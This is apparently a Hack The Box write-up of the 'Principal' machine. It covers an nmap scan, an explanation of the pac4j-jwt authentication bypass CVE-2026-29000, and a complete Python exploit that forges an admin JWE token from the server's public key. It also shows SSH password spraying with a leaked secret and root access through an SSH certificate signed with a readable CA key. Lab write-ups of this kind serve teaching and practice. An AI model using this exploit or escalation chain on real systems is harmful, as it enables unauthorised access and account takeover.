HTB principal

Enumeration

-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open  http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Sun, 15 Mar 2026 07:48:35 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: application/json

Ports 22 and 8080 are discovered.

Web

Searching for pac4j-jwt/6.0.3 found on port 8080 leads to

CVE-2026-29000

CVE-2026-29000 is a critical authentication bypass vulnerability disclosed in 2026, affecting the JWT module of the pac4j security framework, pac4j-jwt, which is commonly used in the Java ecosystem. This vulnerability allows attackers to forge identity tokens, enabling them to directly log into systems or even gain administrator privileges.

Here is an overview from multiple perspectives:

I. Basic Vulnerability Information

• CVE ID: CVE-2026-29000
• Component: pac4j-jwt (JWT module of the pac4j security framework)
• Vulnerability Type: Authentication Bypass / JWT Verification Logic Flaw
• Severity: Critical (CVSS score approximately 9.1–10.0)
• Disclosure Date: 2026-03-04

Affected Versions:

• pac4j-jwt 4.0 – 4.5.8
• pac4j-jwt 5.0 – 5.7.8
• pac4j-jwt 6.0 – 6.3.2

Patched Versions:

• 4.5.9
• 5.7.9
• 6.3.3

II. Core Vulnerability Issue

The vulnerability lies in a logic error in JwtAuthenticator when processing encrypted JWTs (JWE).

Normal JWT authentication flow:

1. Client sends a JWT
2. Server verifies the signature (JWS)
3. If it’s an encrypted JWT (JWE)
   • Decrypt it first
   • Then verify the signature

However, the vulnerable versions have an issue:

Signature verification is not enforced after decryption.

When the inner JWT is a PlainJWT (unsigned):

• toSignedJWT() returns null
• Signature verification code is skipped
• Authentication is granted directly

Thus, an attacker can forge a token.

III. Attack Concept (High-Level)

The attacker only needs to:

1️⃣ Obtain the server’s RSA public key

(Many systems expose the JWKS endpoint)

For example:

/.well-known/jwks.json
/pubkey

2️⃣ Construct a PlainJWT

For example:

{
  "sub": "admin",
  "role": "admin"
}

3️⃣ Encrypt it with the server’s public key to generate a JWE

4️⃣ Send a request with the token as

Authorization: Bearer <token>

After the server decrypts it:

• It finds it’s not a SignedJWT
• Skips signature verification
• Directly reads the claims

Result:

The attacker successfully forges any user’s identity.

IV. Scope of Vulnerability Impact

This vulnerability has a significant impact because pac4j is widely used in the Java ecosystem:

Common projects using it include:

• Apereo CAS
• Apache Knox
• Apache Syncope
• Java Web SSO systems
• API Gateway / IAM systems

Services using JWT with pac4j-jwt may be affected.

V. Attack Effects

An attacker can:

• Log in as any user
• Forge administrator identities
• Bypass authentication systems
• Access protected APIs
• Obtain sensitive data

Since no credentials are required:

The attack complexity is very low.

VI. Essence of the Vulnerability

The essence is a typical security pitfall:

“Encryption ≠ Authentication”

• JWE: Ensures data confidentiality
• JWS: Ensures data integrity and identity

If only decryption is performed without signature verification:

The system cannot confirm the token’s origin.

VII. Remediation

Official recommendations:

1. Upgrade Versions

Upgrade pac4j-jwt:

4.5.9
5.7.9
6.3.3

Fix content:

• Enforce JWT type check after decryption
• If not a SignedJWT → reject authentication

2. Temporary Mitigation Measures

If upgrading is not possible:

Some protections can be implemented:

• Forbid alg: none
• Intercept anomalous JWE tokens
• WAF detection for JWT structure
• Monitor for abnormal login logs
• Restrict access to JWT public keys

Eight: Brief Summary

A one-sentence summary of the vulnerability:

Only using the server’s publicly available RSA public key allows forging any user’s login.

It falls under:

• Authentication bypass
• JWT verification logic vulnerability
• High-risk vulnerability

USER

Now we need the server's RSA public key.

Examining the source code reveals http://principal.htb:8080/static/js/app.js, which exposes several endpoints:

• const API_BASE = ”;
• const JWKS_ENDPOINT = ‘/api/auth/jwks’; // Get public key
• const AUTH_ENDPOINT = ‘/api/auth/login’;
• const DASHBOARD_ENDPOINT = ‘/api/dashboard’;
• const USERS_ENDPOINT = ‘/api/users’;
• const SETTINGS_ENDPOINT = ‘/api/settings’;

curl http://principal.htb:8080/api/auth/jwks
# Returns {"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}

Also found:

// Role constants - must match server-side role definitions
const ROLES = {
    ADMIN: 'ROLE_ADMIN',
    MANAGER: 'ROLE_MANAGER',
    USER: 'ROLE_USER'
};

Using the official script:

#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""

import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe

TARGET = sys.argv[1]

# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data)    # **key_data: Unpacks dictionary data into keyword arguments
print(f"[+] Successfully fetched RSA public key from JWKS")

# Step 2: Craft a PlainJWT with admin claims
def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): Removes trailing equals signs from the byte string

now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): Converts a dictionary to a JSON string encode(): Converts a string to bytes
payload = b64url_encode(json.dumps({
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": now,
    "exp": now + 3600,
}).encode())
plain_jwt = f"{header}.{payload}." # Trailing . (even if none present): Placeholder for the signature
print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN") 

# Step 3: Wrap in JWE encrypted with server's RSA public key
jwe_token = jwe.JWE(
    plain_jwt.encode(),
    recipient=pub_key,
    protected=json.dumps({
        "alg": "RSA-OAEP-256",
        "enc": "A128GCM",
        "kid": key_data["kid"],
        "cty": "JWT",
    })
)
forged_token = jwe_token.serialize(compact=True) # compact=True: Serializes the JWE object into compact format
print(f"[+] Forged JWE token created")

# Step 4: Access protected endpoints
headers = {"Authorization": f"Bearer {forged_token}"}

print(f"[+] Accessing /api/dashboard...")
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")
data = resp.json()
print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")

print(f"[+] Token: {forged_token}")

After running it to obtain the token, examining app.js reveals:

// Token management
class TokenManager {
    static getToken() {
        return sessionStorage.getItem('auth_token');
    }

    static setToken(token) {
        sessionStorage.setItem('auth_token', token);
    }

    static clearToken() {
        sessionStorage.removeItem('auth_token');
    }

    static isAuthenticated() {
        return !!this.getToken();
    }

    static getAuthHeaders() {
        const token = this.getToken();
        return token ? { 'Authorization': `Bearer ${token}` } : {};
    }
}

The token is managed by frontend JavaScript scripts. Adding our token via the login page’s console:

sessionStorage.setItem('auth_token', 'your_token_here');

Refreshing grants access to the backend.

In the settings interface, we can find: encryptionKey: D3pl0y_$$H_Now42! and some usernames.

➜  Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH         10.129.229.236  22     10.129.229.236   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH         10.129.229.236  22     10.129.229.236   [-] admin:D3pl0y_$$H_Now42!
SSH         10.129.229.236  22     10.129.229.236   [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!

ROOT

svc-deploy@principal:~$ id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)

svc-deploy@principal:~$ ls /opt/principal/
# app  deploy  ssh

Found three directories, and within ssh, we find keys:

svc-deploy@principal:~$ ls /opt/principal/ssh/
# README.txt  ca	ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# Returns:
CA keypair for SSH certificate automation.

This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.

Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication

This mentions deploy.sh, and we can read the CA private key.

find / -name "deploy.sh" 2>/dev/null didn’t find the file. Let’s check the sshd configuration file.

svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub

When OpenSSH’s TrustedUserCAKeys configuration does not include an AuthorizedPrincipalsFile: any certificate signed by the trusted CA will be accepted.

Therefore, we can log in as root using a forged certificate.

ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# ssh-keygen (SSH Key Generation Tool): SSH key generation and management tool.
# -s /opt/principal/ssh/ca (Sign with CA Key): The most critical parameter. Specifies using the CA private key located at /opt/principal/ssh/ca to sign the certificate.
# -I "pwn-root" (Identity): The certificate's identifier (Key ID). This string is recorded in server logs, typically for auditing (here the identifier you chose is "pwn-root").
# -n root (Principals): Privilege assignment. Specifies the username the certificate allows login for. Since you specified 'root', this means the certificate is only valid for logging into the root account.
# -V +1h (Validity): Validity Period. Specifies the certificate is valid for 1 hour from now. This is a clever approach to complete the attack without leaving a long-term backdoor.
# /tmp/pwn.pub (Public Key to sign): Specifies the original public key file you want to sign.

Finally: ssh -i /tmp/pwn root@localhost

Attack Chain

nmap -> 8080 pac4j-jwt/6.0.3 -> CVE, authentication vulnerability -> Admin panel SSH leak -> Misconfigured sshd -> AuthorizedPrincipalsFile not set (meaning all users can log in as any user) -> Forged root certificate, login